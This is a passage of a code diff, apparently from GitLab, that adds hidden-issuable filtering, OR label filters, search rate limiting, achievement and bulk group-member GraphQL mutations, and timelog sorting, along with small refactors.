--- a/app/finders/issuable_finder.rb
+++ b/app/finders/issuable_finder.rb
@@ -248,7 +248,10 @@ class IssuableFinder
end
def init_collection
- klass.all
+ return klass.all if params.user_can_see_all_issuables?
+
+ # Only admins and auditors can see hidden issuables, for other users we filter out hidden issuables
+ klass.without_hidden
end
def default_or_simple_sort?
@@ -407,7 +410,8 @@ class IssuableFinder
Issuables::LabelFilter.new(
params: original_params,
project: params.project,
- group: params.group
+ group: params.group,
+ or_filters_enabled: or_filters_enabled?
)
end
end
diff --git a/app/finders/issuable_finder/params.rb b/app/finders/issuable_finder/params.rb
index 32d50802537..e59c2224594 100644
--- a/app/finders/issuable_finder/params.rb
+++ b/app/finders/issuable_finder/params.rb
@@ -195,6 +195,11 @@ class IssuableFinder
project || group
end
+ def user_can_see_all_issuables?
+ Ability.allowed?(current_user, :read_all_resources)
+ end
+ strong_memoize_attr :user_can_see_all_issuables?
+
private
def projects_public_or_visible_to_user
diff --git a/app/finders/issuables/label_filter.rb b/app/finders/issuables/label_filter.rb
index 4e9c964e51c..81b86a1de32 100644
--- a/app/finders/issuables/label_filter.rb
+++ b/app/finders/issuables/label_filter.rb
@@ -14,6 +14,7 @@ module Issuables
def filter(issuables)
filtered = by_label(issuables)
+ filtered = by_label_union(filtered)
by_negated_label(filtered)
end
@@ -27,18 +28,29 @@ module Issuables
def by_label(issuables)
return issuables unless label_names_from_params.present?
- target_model = issuables.base_class
-
if filter_by_no_label?
- issuables.where(label_link_query(target_model).arel.exists.not)
+ issuables.where(label_link_query(issuables).arel.exists.not)
elsif filter_by_any_label?
- issuables.where(label_link_query(target_model).arel.exists)
+ issuables.where(label_link_query(issuables).arel.exists)
else
issuables_with_selected_labels(issuables, label_names_from_params)
end
end
# rubocop: enable CodeReuse/ActiveRecord
+ # rubocop: disable CodeReuse/ActiveRecord
+ def by_label_union(issuables)
+ return issuables unless or_filters_enabled? && label_names_from_or_params.present?
+
+ if root_namespace
+ all_label_ids = find_label_ids(label_names_from_or_params).flatten
+ issuables.where(label_link_query(issuables, label_ids: all_label_ids).arel.exists)
+ else
+ issuables.where(label_link_query(issuables, label_names: label_names_from_or_params).arel.exists)
+ end
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
def by_negated_label(issuables)
return issuables unless label_names_from_not_params.present?
@@ -55,19 +67,17 @@ module Issuables
# rubocop: disable CodeReuse/ActiveRecord
def issuables_with_selected_labels(issuables, label_names)
- target_model = issuables.base_class
-
if root_namespace
all_label_ids = find_label_ids(label_names)
# Found less labels in the DB than we were searching for. Return nothing.
return issuables.none if all_label_ids.size != label_names.size
all_label_ids.each do |label_ids|
- issuables = issuables.where(label_link_query(target_model, label_ids: label_ids).arel.exists)
+ issuables = issuables.where(label_link_query(issuables, label_ids: label_ids).arel.exists)
end
else
label_names.each do |label_name|
- issuables = issuables.where(label_link_query(target_model, label_names: label_name).arel.exists)
+ issuables = issuables.where(label_link_query(issuables, label_names: label_name).arel.exists)
end
end
@@ -77,16 +87,14 @@ module Issuables
# rubocop: disable CodeReuse/ActiveRecord
def issuables_without_selected_labels(issuables, label_names)
- target_model = issuables.base_class
-
if root_namespace
label_ids = find_label_ids(label_names).flatten(1)
return issuables if label_ids.empty?
- issuables.where(label_link_query(target_model, label_ids: label_ids).arel.exists.not)
+ issuables.where(label_link_query(issuables, label_ids: label_ids).arel.exists.not)
else
- issuables.where(label_link_query(target_model, label_names: label_names).arel.exists.not)
+ issuables.where(label_link_query(issuables, label_names: label_names).arel.exists.not)
end
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -134,7 +142,9 @@ module Issuables
# rubocop: enable CodeReuse/ActiveRecord
# rubocop: disable CodeReuse/ActiveRecord
- def label_link_query(target_model, label_ids: nil, label_names: nil)
+ def label_link_query(issuables, label_ids: nil, label_names: nil)
+ target_model = issuables.base_class
+
relation = LabelLink.by_target_for_exists_query(target_model.name, target_model.arel_table['id'], label_ids)
relation = relation.joins(:label).where(labels: { name: label_names }) if label_names
@@ -150,6 +160,14 @@ module Issuables
end
end
+ def label_names_from_or_params
+ return if or_params.blank? || or_params[:label_name].blank?
+
+ strong_memoize(:label_names_from_or_params) do
+ split_label_names(or_params[:label_name])
+ end
+ end
+
def label_names_from_not_params
return if not_params.blank? || not_params[:label_name].blank?
diff --git a/app/finders/issues_finder.rb b/app/finders/issues_finder.rb
index e12dce744b5..bd81f06f93b 100644
--- a/app/finders/issues_finder.rb
+++ b/app/finders/issues_finder.rb
@@ -49,7 +49,7 @@ class IssuesFinder < IssuableFinder
# rubocop: disable CodeReuse/ActiveRecord
def with_confidentiality_access_check
- return model_class.all if params.user_can_see_all_issues?
+ return model_class.all if params.user_can_see_all_issuables?
# Only admins can see hidden issues, so for non-admins, we filter out any hidden issues
issues = model_class.without_hidden
diff --git a/app/finders/issues_finder/params.rb b/app/finders/issues_finder/params.rb
index 7f8acb79ed6..786bfbd4113 100644
--- a/app/finders/issues_finder/params.rb
+++ b/app/finders/issues_finder/params.rb
@@ -44,7 +44,7 @@ class IssuesFinder
if parent
Ability.allowed?(current_user, :read_confidential_issues, parent)
else
- user_can_see_all_issues?
+ user_can_see_all_issuables?
end
end
end
@@ -54,12 +54,6 @@ class IssuesFinder
current_user.blank?
end
-
- def user_can_see_all_issues?
- strong_memoize(:user_can_see_all_issues) do
- Ability.allowed?(current_user, :read_all_resources)
- end
- end
end
end
diff --git a/app/finders/members_finder.rb b/app/finders/members_finder.rb
index de6eacbb1e0..de2a4ce3518 100644
--- a/app/finders/members_finder.rb
+++ b/app/finders/members_finder.rb
@@ -31,7 +31,11 @@ class MembersFinder
attr_reader :project, :current_user, :group
def find_members(include_relations)
- project_members = project.project_members
+ project_members = if Feature.enabled?(:project_members_index_by_project_namespace, project)
+ project.namespace_members
+ else
+ project.project_members
+ end
if params[:active_without_invites_and_requests].present?
project_members = project_members.active_without_invites_and_requests
diff --git a/app/finders/packages/go/version_finder.rb b/app/finders/packages/go/version_finder.rb
index 8500a441fb7..902c4a00a21 100644
--- a/app/finders/packages/go/version_finder.rb
+++ b/app/finders/packages/go/version_finder.rb
@@ -15,7 +15,7 @@ module Packages
@mod.project.repository.tags
.filter { |tag| semver_tag? tag }
.map { |tag| @mod.version_by(ref: tag) }
- .filter { |ver| ver.valid? }
+ .filter(&:valid?)
end
def find(target)
diff --git a/app/graphql/mutations/achievements/create.rb b/app/graphql/mutations/achievements/create.rb
new file mode 100644
index 00000000000..6cfe6c0e643
--- /dev/null
+++ b/app/graphql/mutations/achievements/create.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Achievements
+ class Create < BaseMutation
+ graphql_name 'AchievementsCreate'
+
+ include Gitlab::Graphql::Authorize::AuthorizeResource
+
+ field :achievement,
+ ::Types::Achievements::AchievementType,
+ null: true,
+ description: 'Achievement created.'
+
+ argument :namespace_id, ::Types::GlobalIDType[::Namespace],
+ required: true,
+ description: 'Namespace for the achievement.'
+
+ argument :name, GraphQL::Types::String,
+ required: true,
+ description: 'Name for the achievement.'
+
+ argument :avatar, ApolloUploadServer::Upload,
+ required: false,
+ description: 'Avatar for the achievement.'
+
+ argument :description, GraphQL::Types::String,
+ required: false,
+ description: 'Description of or notes for the achievement.'
+
+ argument :revokeable, GraphQL::Types::Boolean,
+ required: true,
+ description: 'Revokeability for the achievement.'
+
+ authorize :admin_achievement
+
+ def resolve(args)
+ namespace = authorized_find!(id: args[:namespace_id])
+
+ raise Gitlab::Graphql::Errors::ResourceNotAvailable, '`achievements` feature flag is disabled.' \
+ if Feature.disabled?(:achievements, namespace)
+
+ result = ::Achievements::CreateService.new(namespace: namespace,
+ current_user: current_user,
+ params: args).execute
+ { achievement: result.payload, errors: result.errors }
+ end
+
+ def find_object(id:)
+ GitlabSchema.object_from_id(id, expected_type: ::Namespace)
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/boards/lists/base_update.rb b/app/graphql/mutations/boards/lists/base_update.rb
index 7962d9c85d4..c6e6b1c9bfe 100644
--- a/app/graphql/mutations/boards/lists/base_update.rb
+++ b/app/graphql/mutations/boards/lists/base_update.rb
@@ -10,7 +10,7 @@ module Mutations
argument :collapsed, GraphQL::Types::Boolean,
required: false,
- description: 'Indicates if the list is collapsed for this user.'
+ description: 'Indicates if the list is collapsed for the user.'
def resolve(list: nil, **args)
if list.nil? || !can_read_list?(list)
diff --git a/app/graphql/mutations/ci/job/play.rb b/app/graphql/mutations/ci/job/play.rb
index 99f62ea3e70..8bb69119a44 100644
--- a/app/graphql/mutations/ci/job/play.rb
+++ b/app/graphql/mutations/ci/job/play.rb
@@ -11,13 +11,21 @@ module Mutations
null: true,
description: 'Job after the mutation.'
+ argument :variables, [::Types::Ci::VariableInputType],
+ required: false,
+ default_value: [],
+ replace_null_with_default: true,
+ description: 'Variables to use when playing a manual job.'
+
authorize :update_build
- def resolve(id:)
+ def resolve(id:, variables:)
job = authorized_find!(id: id)
project = job.project
+ variables = variables.map(&:to_h)
+
+ ::Ci::PlayBuildService.new(project, current_user).execute(job, variables)
- ::Ci::PlayBuildService.new(project, current_user).execute(job)
{
job: job,
errors: errors_on_object(job)
diff --git a/app/graphql/mutations/ci/project_ci_cd_settings_update.rb b/app/graphql/mutations/ci/project_ci_cd_settings_update.rb
index 27b066ffcf6..934d62e92cf 100644
--- a/app/graphql/mutations/ci/project_ci_cd_settings_update.rb
+++ b/app/graphql/mutations/ci/project_ci_cd_settings_update.rb
@@ -15,7 +15,7 @@ module Mutations
argument :keep_latest_artifact, GraphQL::Types::Boolean,
required: false,
- description: 'Indicates if the latest artifact should be kept for this project.'
+ description: 'Indicates if the latest artifact should be kept for the project.'
argument :job_token_scope_enabled, GraphQL::Types::Boolean,
required: false,
diff --git a/app/graphql/mutations/clusters/agents/create.rb b/app/graphql/mutations/clusters/agents/create.rb
index deaa9c2d656..8be1e0e524a 100644
--- a/app/graphql/mutations/clusters/agents/create.rb
+++ b/app/graphql/mutations/clusters/agents/create.rb
@@ -12,7 +12,7 @@ module Mutations
argument :project_path, GraphQL::Types::ID,
required: true,
- description: 'Full path of the associated project for this cluster agent.'
+ description: 'Full path of the associated project for the cluster agent.'
argument :name, GraphQL::Types::String,
required: true,
diff --git a/app/graphql/mutations/commits/create.rb b/app/graphql/mutations/commits/create.rb
index 00ec64becc8..02e1e4c78bf 100644
--- a/app/graphql/mutations/commits/create.rb
+++ b/app/graphql/mutations/commits/create.rb
@@ -58,7 +58,7 @@ module Mutations
commit_message: message,
branch_name: branch,
start_branch: args[:start_branch] || branch,
- actions: actions.map { |action| action.to_h }
+ actions: actions.map(&:to_h)
}
result = ::Files::MultiService.new(project, current_user, attributes).execute
diff --git a/app/graphql/mutations/concerns/mutations/work_items/widgetable.rb b/app/graphql/mutations/concerns/mutations/work_items/widgetable.rb
index 445b2eb6441..508e1627032 100644
--- a/app/graphql/mutations/concerns/mutations/work_items/widgetable.rb
+++ b/app/graphql/mutations/concerns/mutations/work_items/widgetable.rb
@@ -18,7 +18,7 @@ module Mutations
# Cannot use prepare to use `.to_h` on each input due to
# https://gitlab.com/gitlab-org/gitlab/-/merge_requests/87472#note_945199865
- widget_params.transform_values { |values| values.to_h }
+ widget_params.transform_values(&:to_h)
end
end
end
diff --git a/app/graphql/mutations/jira_import/start.rb b/app/graphql/mutations/jira_import/start.rb
index ea071c45bcf..2ba20e163a5 100644
--- a/app/graphql/mutations/jira_import/start.rb
+++ b/app/graphql/mutations/jira_import/start.rb
@@ -30,7 +30,7 @@ module Mutations
def resolve(project_path:, jira_project_key:, users_mapping:)
project = authorized_find!(project_path)
- mapping = users_mapping.to_ary.map { |map| map.to_hash }
+ mapping = users_mapping.to_ary.map(&:to_hash)
service_response = ::JiraImport::StartImportService
.new(context[:current_user], project, jira_project_key, mapping)
diff --git a/app/graphql/mutations/members/groups/bulk_update.rb b/app/graphql/mutations/members/groups/bulk_update.rb
new file mode 100644
index 00000000000..d0b19bd9634
--- /dev/null
+++ b/app/graphql/mutations/members/groups/bulk_update.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Members
+ module Groups
+ class BulkUpdate < ::Mutations::BaseMutation
+ graphql_name 'GroupMemberBulkUpdate'
+
+ include Gitlab::Utils::StrongMemoize
+
+ authorize :admin_group_member
+
+ field :group_members,
+ [Types::GroupMemberType],
+ null: true,
+ description: 'Group members after mutation.'
+
+ argument :group_id,
+ ::Types::GlobalIDType[::Group],
+ required: true,
+ description: 'Global ID of the group.'
+
+ argument :user_ids,
+ [::Types::GlobalIDType[::User]],
+ required: true,
+ description: 'Global IDs of the group members.'
+
+ argument :access_level,
+ ::Types::MemberAccessLevelEnum,
+ required: true,
+ description: 'Access level to update the members to.'
+
+ argument :expires_at,
+ Types::TimeType,
+ required: false,
+ description: 'Date and time the membership expires.'
+
+ MAX_MEMBERS_UPDATE_LIMIT = 50
+ MAX_MEMBERS_UPDATE_ERROR = "Count of members to be updated should be less than #{MAX_MEMBERS_UPDATE_LIMIT}."
+ INVALID_MEMBERS_ERROR = 'Only access level of direct members can be updated.'
+
+ def resolve(group_id:, **args)
+ result = ::Members::UpdateService.new(current_user, args.except(:user_ids)).execute(@updatable_group_members)
+
+ {
+ group_members: result[:members],
+ errors: Array.wrap(result[:message])
+ }
+ rescue Gitlab::Access::AccessDeniedError
+ {
+ errors: ["Unable to update members, please check user permissions."]
+ }
+ end
+
+ private
+
+ def ready?(**args)
+ group = authorized_find!(group_id: args[:group_id])
+ user_ids = args.fetch(:user_ids, {}).map(&:model_id)
+ @updatable_group_members = only_direct_group_members(group, user_ids)
+
+ if @updatable_group_members.size > MAX_MEMBERS_UPDATE_LIMIT
+ raise Gitlab::Graphql::Errors::InvalidMemberCountError, MAX_MEMBERS_UPDATE_ERROR
+ end
+
+ if @updatable_group_members.size != user_ids.size
+ raise Gitlab::Graphql::Errors::InvalidMembersError, INVALID_MEMBERS_ERROR
+ end
+
+ super
+ end
+
+ def find_object(group_id:)
+ GitlabSchema.object_from_id(group_id, expected_type: ::Group)
+ end
+
+ def only_direct_group_members(group, user_ids)
+ group
+ .members
+ .with_user(user_ids).to_a
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/merge_requests/accept.rb b/app/graphql/mutations/merge_requests/accept.rb
index ebd9e2b8fdd..64572091379 100644
--- a/app/graphql/mutations/merge_requests/accept.rb
+++ b/app/graphql/mutations/merge_requests/accept.rb
@@ -21,14 +21,14 @@ module Mutations
::Types::MergeStrategyEnum,
required: false,
as: :auto_merge_strategy,
- description: 'How to merge this merge request.'
+ description: 'How to merge the merge request.'
argument :commit_message, ::GraphQL::Types::String,
required: false,
description: 'Custom merge commit message.'
argument :sha, ::GraphQL::Types::String,
required: true,
- description: 'HEAD SHA at the time when this merge was requested.'
+ description: 'HEAD SHA at the time when the merge was requested.'
argument :squash_commit_message, ::GraphQL::Types::String,
required: false,
description: 'Custom squash commit message (if squash is true).'
diff --git a/app/graphql/mutations/notes/create/note.rb b/app/graphql/mutations/notes/create/note.rb
index 9b105b7fe1c..0f1be32d088 100644
--- a/app/graphql/mutations/notes/create/note.rb
+++ b/app/graphql/mutations/notes/create/note.rb
@@ -10,7 +10,7 @@ module Mutations
argument :discussion_id,
::Types::GlobalIDType[::Discussion],
required: false,
- description: 'Global ID of the discussion this note is in reply to.'
+ description: 'Global ID of the discussion the note is in reply to.'
argument :merge_request_diff_head_sha,
GraphQL::Types::String,
diff --git a/app/graphql/mutations/packages/bulk_destroy.rb b/app/graphql/mutations/packages/bulk_destroy.rb
index a0756d0c3f9..86f8de91e2b 100644
--- a/app/graphql/mutations/packages/bulk_destroy.rb
+++ b/app/graphql/mutations/packages/bulk_destroy.rb
@@ -16,11 +16,10 @@ module Mutations
def resolve(ids:)
raise_resource_not_available_error!(TOO_MANY_IDS_ERROR) if ids.size > MAX_PACKAGES
- ids = GitlabSchema.parse_gids(ids, expected_type: ::Packages::Package)
- .map(&:model_id)
+ model_ids = ids.map(&:model_id)
service = ::Packages::MarkPackagesForDestructionService.new(
- packages: packages_from(ids),
+ packages: packages_from(model_ids),
current_user: current_user
)
result = service.execute
diff --git a/app/graphql/mutations/releases/create.rb b/app/graphql/mutations/releases/create.rb
index ba1fa8d446c..15175aea9a5 100644
--- a/app/graphql/mutations/releases/create.rb
+++ b/app/graphql/mutations/releases/create.rb
@@ -30,7 +30,7 @@ module Mutations
required: false,
description: 'Description (also known as "release notes") of the release.'
- argument :released_at, Types::TimeType,
+ argument :released_at, Types::TimeType, # rubocop:disable Graphql/Descriptions
required: false,
description: 'Date and time for the release. Defaults to the current time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). Only provide this field if creating an upcoming or historical release.'
diff --git a/app/graphql/resolvers/ci/jobs_resolver.rb b/app/graphql/resolvers/ci/jobs_resolver.rb
index 91f29948ad0..31cc350f331 100644
--- a/app/graphql/resolvers/ci/jobs_resolver.rb
+++ b/app/graphql/resolvers/ci/jobs_resolver.rb
@@ -19,10 +19,15 @@ module Resolvers
required: false,
description: 'Filter jobs by retry-status.'
- def resolve(statuses: nil, security_report_types: [], retried: nil)
+ argument :when_executed, [::GraphQL::Types::String],
+ required: false,
+ description: 'Filter jobs by when they are executed.'
+
+ def resolve(statuses: nil, security_report_types: [], retried: nil, when_executed: nil)
jobs = init_collection(security_report_types)
jobs = jobs.with_status(statuses) if statuses.present?
jobs = jobs.retried if retried
+ jobs = jobs.with_when_executed(when_executed) if when_executed.present?
jobs = jobs.latest if retried == false
jobs
diff --git a/app/graphql/resolvers/ci/runner_groups_resolver.rb b/app/graphql/resolvers/ci/runner_groups_resolver.rb
index 3360e820bd2..c1d9bcbb9bb 100644
--- a/app/graphql/resolvers/ci/runner_groups_resolver.rb
+++ b/app/graphql/resolvers/ci/runner_groups_resolver.rb
@@ -6,7 +6,7 @@ module Resolvers
include Gitlab::Graphql::Authorize::AuthorizeResource
include ResolvesGroups
- type Types::GroupConnection, null: true
+ type 'Types::GroupConnection', null: true
authorize :read_runner
authorizes_object!
diff --git a/app/graphql/resolvers/concerns/board_item_filterable.rb b/app/graphql/resolvers/concerns/board_item_filterable.rb
index 9c0ada4f72c..035cdbbd282 100644
--- a/app/graphql/resolvers/concerns/board_item_filterable.rb
+++ b/app/graphql/resolvers/concerns/board_item_filterable.rb
@@ -22,6 +22,7 @@ module BoardItemFilterable
rewrite_param_name(filters[:or], :author_usernames, :author_username)
rewrite_param_name(filters[:or], :assignee_usernames, :assignee_username)
+ rewrite_param_name(filters[:or], :label_names, :label_name)
end
filters
diff --git a/app/graphql/resolvers/concerns/caching_array_resolver.rb b/app/graphql/resolvers/concerns/caching_array_resolver.rb
index e7555dcf42c..62649518142 100644
--- a/app/graphql/resolvers/concerns/caching_array_resolver.rb
+++ b/app/graphql/resolvers/concerns/caching_array_resolver.rb
@@ -63,6 +63,7 @@ module CachingArrayResolver
queries.in_groups_of(max_union_size, false).each do |group|
by_id = model_class
+ .select(all_fields, :union_member_idx)
.from_union(tag(group), remove_duplicates: false)
.preload(preload) # rubocop: disable CodeReuse/ActiveRecord
.group_by { |r| r[primary_key] }
diff --git a/app/graphql/resolvers/concerns/issues/look_ahead_preloads.rb b/app/graphql/resolvers/concerns/issues/look_ahead_preloads.rb
index c6e32be245d..2ea7a02bf15 100644
--- a/app/graphql/resolvers/concerns/issues/look_ahead_preloads.rb
+++ b/app/graphql/resolvers/concerns/issues/look_ahead_preloads.rb
@@ -20,7 +20,7 @@ module Issues
end
def preloads
- {
+ preload_hash = {
alert_management_alert: [:alert_management_alert],
assignees: [:assignees],
participants: Issue.participant_includes,
@@ -28,6 +28,9 @@ module Issues
customer_relations_contacts: { customer_relations_contacts: [:group] },
escalation_status: [:incident_management_issuable_escalation_status]
}
+ preload_hash[:type] = :work_item_type if Feature.enabled?(:issue_type_uses_work_item_types_table)
+
+ preload_hash
end
end
end
diff --git a/app/graphql/resolvers/concerns/resolves_merge_requests.rb b/app/graphql/resolvers/concerns/resolves_merge_requests.rb
index d56951bc821..c68e120ee24 100644
--- a/app/graphql/resolvers/concerns/resolves_merge_requests.rb
+++ b/app/graphql/resolvers/concerns/resolves_merge_requests.rb
@@ -34,7 +34,7 @@ module ResolvesMergeRequests
end
def unconditional_includes
- [:target_project]
+ [:target_project, :author]
end
def preloads
diff --git a/app/graphql/resolvers/concerns/search_arguments.rb b/app/graphql/resolvers/concerns/search_arguments.rb
index ccc012f2bf9..cc1a13fdf29 100644
--- a/app/graphql/resolvers/concerns/search_arguments.rb
+++ b/app/graphql/resolvers/concerns/search_arguments.rb
@@ -18,6 +18,7 @@ module SearchArguments
def ready?(**args)
validate_search_in_params!(args)
validate_anonymous_search_access!(args)
+ validate_search_rate_limit!(args)
super
end
@@ -39,6 +40,28 @@ module SearchArguments
'`search` should be present when including the `in` argument'
end
+ def validate_search_rate_limit!(args)
+ return if args[:search].blank? || context[:request].nil? || Feature.disabled?(:rate_limit_issuable_searches)
+
+ if current_user.present?
+ rate_limiter_key = :search_rate_limit
+ rate_limiter_scope = [current_user]
+ else
+ rate_limiter_key = :search_rate_limit_unauthenticated
+ rate_limiter_scope = [context[:request].ip]
+ end
+
+ if ::Gitlab::ApplicationRateLimiter.throttled_request?(
+ context[:request],
+ current_user,
+ rate_limiter_key,
+ scope: rate_limiter_scope
+ )
+ raise Gitlab::Graphql::Errors::ResourceNotAvailable,
+ 'This endpoint has been requested with the search argument too many times. Try again later.'
+ end
+ end
+
def prepare_finder_params(args)
prepare_search_params(args)
end
diff --git a/app/graphql/resolvers/issues/base_resolver.rb b/app/graphql/resolvers/issues/base_resolver.rb
index 9a2c4572abb..fefd17d5e20 100644
--- a/app/graphql/resolvers/issues/base_resolver.rb
+++ b/app/graphql/resolvers/issues/base_resolver.rb
@@ -129,7 +129,8 @@ module Resolvers
params[:or] = params[:or].to_h if params[:or]
params[:iids] ||= [params.delete(:iid)].compact if params[:iid]
- prepare_author_username_params(params)
+ rewrite_param_name(params[:or], :author_usernames, :author_username)
+ rewrite_param_name(params[:or], :label_names, :label_name)
prepare_assignee_username_params(params)
prepare_release_tag_params(params)
@@ -143,20 +144,14 @@ module Resolvers
args[:release_tag] ||= release_tag_wildcard
end
- def prepare_author_username_params(args)
- args[:or][:author_username] = args[:or].delete(:author_usernames) if args.dig(:or, :author_usernames).present?
- end
-
def prepare_assignee_username_params(args)
- args[:assignee_username] = args.delete(:assignee_usernames) if args[:assignee_usernames].present?
-
- if args.dig(:or, :assignee_usernames).present?
- args[:or][:assignee_username] = args[:or].delete(:assignee_usernames)
- end
-
- return unless args.dig(:not, :assignee_usernames).present?
+ rewrite_param_name(args, :assignee_usernames, :assignee_username)
+ rewrite_param_name(args[:or], :assignee_usernames, :assignee_username)
+ rewrite_param_name(args[:not], :assignee_usernames, :assignee_username)
+ end
- args[:not][:assignee_username] = args[:not].delete(:assignee_usernames)
+ def rewrite_param_name(params, old_name, new_name)
+ params[new_name] = params.delete(old_name) if params && params[old_name].present?
end
def mutually_exclusive_release_tag_args
diff --git a/app/graphql/resolvers/issues_resolver.rb b/app/graphql/resolvers/issues_resolver.rb
index 3e61ba755d8..24009bf7e18 100644
--- a/app/graphql/resolvers/issues_resolver.rb
+++ b/app/graphql/resolvers/issues_resolver.rb
@@ -5,6 +5,8 @@ module Resolvers
prepend ::Issues::LookAheadPreloads
include ::Issues::SortArguments
+ NON_FILTER_ARGUMENTS = %i[sort lookahead].freeze
+
argument :state, Types::IssuableStateEnum,
required: false,
description: 'Current state of this issue.'
@@ -17,6 +19,14 @@ module Resolvers
::Preloaders::UserMaxAccessLevelInProjectsPreloader.new(projects, current_user).execute
end
+ def ready?(**args)
+ unless filter_provided?(args)
+ raise Gitlab::Graphql::Errors::ArgumentError, _('You must provide at least one filter argument for this query')
+ end
+
+ super
+ end
+
def resolve_with_lookahead(**args)
return unless Feature.enabled?(:root_level_issues_query)
@@ -32,5 +42,11 @@ module Resolvers
issues
end
end
+
+ private
+
+ def filter_provided?(args)
+ args.except(*NON_FILTER_ARGUMENTS).values.any?(&:present?)
+ end
end
end
diff --git a/app/graphql/resolvers/projects/branch_rules_resolver.rb b/app/graphql/resolvers/projects/branch_rules_resolver.rb
index e99d7ae4d5f..d1b39df602f 100644
--- a/app/graphql/resolvers/projects/branch_rules_resolver.rb
+++ b/app/graphql/resolvers/projects/branch_rules_resolver.rb
@@ -10,7 +10,15 @@ module Resolvers
alias_method :project, :object
def resolve_with_lookahead(**args)
- apply_lookahead(project.protected_branches)
+ protected_branches.map do |protected_branch|
+ ::Projects::BranchRule.new(project, protected_branch)
+ end
+ end
+
+ private
+
+ def protected_branches
+ apply_lookahead(project.protected_branches.sorted_by_name)
end
end
end
diff --git a/app/graphql/resolvers/timelog_resolver.rb b/app/graphql/resolvers/timelog_resolver.rb
index 52c4508003a..dc42a5f38c9 100644
--- a/app/graphql/resolvers/timelog_resolver.rb
+++ b/app/graphql/resolvers/timelog_resolver.rb
@@ -34,19 +34,23 @@ module Resolvers
required: false,
description: 'List timelogs for a user.'
+ argument :sort, Types::TimeTracking::TimelogSortEnum,
+ description: 'List timelogs in a particular order.',
+ required: false,
+ default_value: { field: 'spent_at', direction: :asc }
+
def resolve_with_lookahead(**args)
validate_args!(object, args)
- timelogs = object&.timelogs || Timelog.limit(GitlabSchema.default_max_page_size)
+ timelogs = object&.timelogs || Timelog.all
- if args.any?
- args = parse_datetime_args(args)
+ args = parse_datetime_args(args)
- timelogs = apply_user_filter(timelogs, args)
- timelogs = apply_project_filter(timelogs, args)
- timelogs = apply_time_filter(timelogs, args)
- timelogs = apply_group_filter(timelogs, args)
- end
+ timelogs = apply_user_filter(timelogs, args)
+ timelogs = apply_project_filter(timelogs, args)
+ timelogs = apply_time_filter(timelogs, args)
+ timelogs = apply_group_filter(timelogs, args)
+ timelogs = apply_sorting(timelogs, args)
apply_lookahead(timelogs)
end
@@ -60,7 +64,12 @@ module Resolvers
end
def validate_args!(object, args)
- if args.empty? && object.nil?
+ # sort is always provided because of its default value so we
+ # should check the remaining args to make sure at least one filter
+ # argument was provided
+ cleaned_args = args.except(:sort)
+
+ if cleaned_args.empty? && object.nil?
raise_argument_error('Provide at least one argument')
elsif args[:start_time] && args[:start_date]
raise_argument_error('Provide either a start date or time, but not both')
@@ -132,6 +141,15 @@ module Resolvers
timelogs
end
+ def apply_sorting(timelogs, args)
+ return timelogs unless args[:sort]
+
+ field = args[:sort][:field]
+ direction = args[:sort][:direction]
+
+ timelogs.sort_by_field(field, direction)
+ end
+
def raise_argument_error(message)
raise Gitlab::Graphql::Errors::ArgumentError, message
end
diff --git a/app/graphql/resolvers/work_items_resolver.rb b/app/graphql/resolvers/work_items_resolver.rb
index a3de875c196..83ed8c37250 100644
--- a/app/graphql/resolvers/work_items_resolver.rb
+++ b/app/graphql/resolvers/work_items_resolver.rb
@@ -55,7 +55,7 @@ module Resolvers
last_edited_by: :last_edited_by,
assignees: :assignees,
parent: :work_item_parent,
- children: { work_item_children: [:author, { project: :project_feature }] },
+ children: { work_item_children_by_created_at: [:author, { project: :project_feature }] },
labels: :labels,
milestone: :milestone
}
diff --git a/app/graphql/types/access_level_enum.rb b/app/graphql/types/access_level_enum.rb
index 299952e4685..d58e7230a8e 100644
--- a/app/graphql/types/access_level_enum.rb
+++ b/app/graphql/types/access_level_enum.rb
@@ -14,3 +14,5 @@ module Types
value 'OWNER', value: Gitlab::Access::OWNER, description: 'Owner access.'
end
end
+
+Types::AccessLevelEnum.prepend_mod_with('Types::AccessLevelEnum')
diff --git a/app/graphql/types/achievements/achievement_type.rb b/app/graphql/types/achievements/achievement_type.rb
new file mode 100644
index 00000000000..e2b9495c83d
--- /dev/null
+++ b/app/graphql/types/achievements/achievement_type.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+module Types
+ module Achievements
+ class AchievementType < BaseObject
+ graphql_name 'Achievement'
+
+ authorize :read_achievement
+
+ field :id,
+ ::Types::GlobalIDType[::Achievements::Achievement],
+ null: false,
+ description: 'ID of the achievement.'
+
+ field :namespace,
+ ::Types::NamespaceType,
+ null: false,
+ description: 'Namespace of the achievement.'
+
+ field :name,
+ GraphQL::Types::String,
+ null: false,
+ description: 'Name of the achievement.'
+
+ field :avatar_url,
+ GraphQL::Types::String,
+ null: true,
+ description: 'URL to avatar of the achievement.'
+
+ field :description,
+ GraphQL::Types::String,
+ null: true,
+ description: 'Description or notes for the achievement.'
+
+ field :revokeable,
+ GraphQL::Types::Boolean,
+ null: false,
+ description: 'Revokeability of the achievement.'
+
+ field :created_at,
+ Types::TimeType,
+ null: false,
+ description: 'Timestamp the achievement was created.'
+
+ field :updated_at,
+ Types::TimeType,
+ null: false,
+ description: 'Timestamp the achievement was last updated.'
+
+ def avatar_url
+ object.avatar_url(only_path: false)
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/ci/runner_countable_connection_type.rb b/app/graphql/types/ci/runner_countable_connection_type.rb
new file mode 100644
index 00000000000..f5c3a2c1f5f
--- /dev/null
+++ b/app/graphql/types/ci/runner_countable_connection_type.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ # rubocop: disable Graphql/AuthorizeTypes
+ class RunnerCountableConnectionType < ::Types::CountableConnectionType
+ end
+ # rubocop: enable Graphql/AuthorizeTypes
+ end
+end
+
+Types::Ci::RunnerCountableConnectionType.prepend_mod
diff --git a/app/graphql/types/ci/runner_type.rb b/app/graphql/types/ci/runner_type.rb
index 5d34906f7b8..35339624e37 100644
--- a/app/graphql/types/ci/runner_type.rb
+++ b/app/graphql/types/ci/runner_type.rb
@@ -6,7 +6,7 @@ module Types
graphql_name 'CiRunner'
edge_type_class(RunnerWebUrlEdge)
